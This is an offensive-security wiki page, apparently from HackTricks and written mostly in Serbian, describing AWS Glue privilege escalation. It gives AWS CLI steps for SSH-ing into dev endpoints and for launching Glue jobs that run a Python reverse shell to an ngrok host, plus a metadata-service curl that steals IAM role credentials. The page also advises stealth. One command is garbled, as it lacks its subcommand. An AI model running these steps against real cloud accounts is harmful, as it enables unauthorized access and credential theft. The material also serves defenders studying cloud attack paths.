AWS - Glue Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Korisnici sa ovim permisijama mogu postaviti novi AWS Glue development endpoint, dodeliti postojeću servisnu ulogu koju Glue može preuzeti sa određenim permisijama za ovaj endpoint.

Nakon podešavanja, napadač može SSH-ovati na instancu endpointa, i ukrasti IAM kredencijale dodeljene uloge:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

For stealth purpose, it’s recommended to use the IAM credentials from inside the Glue virtual machine.

Mogući uticaj: Privesc to the glue service role specified.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Korisnici sa ovom dozvolom mogu izmeniti postojeći Glue development SSH ključ endpoint-a, omogućavajući SSH pristup. Ovo napadaču omogućava izvršavanje komandi sa privilegijama role pridružene endpoint-u:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Potential Impact: Privesc na korišćenu Glue service role.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Korisnici koji imaju iam:PassRole u kombinaciji sa bilo kojim od glue:CreateJob ili glue:UpdateJob, i bilo kojim od glue:StartJobRun ili glue:CreateTrigger, mogu kreirati ili ažurirati AWS Glue job, prikačiti bilo koji Glue service account i pokrenuti izvršenje job-a. Job može da izvršava proizvoljan Python kod, što se može iskoristiti za uspostavljanje reverse shell-a. Taj reverse shell se potom može iskoristiti za eksfiltraciju IAM credentials role prikačene na Glue job, što može dovesti do neovlašćenog pristupa ili akcija zasnovanih na privilegijama te role:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Mogući uticaj: Privesc na navedenu glue service role.

glue:UpdateJob

Samo sa update dozvolom napadač može ukrasti IAM Credentials već prikačene role.

Mogući uticaj: Privesc na prikačenu glue service role.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks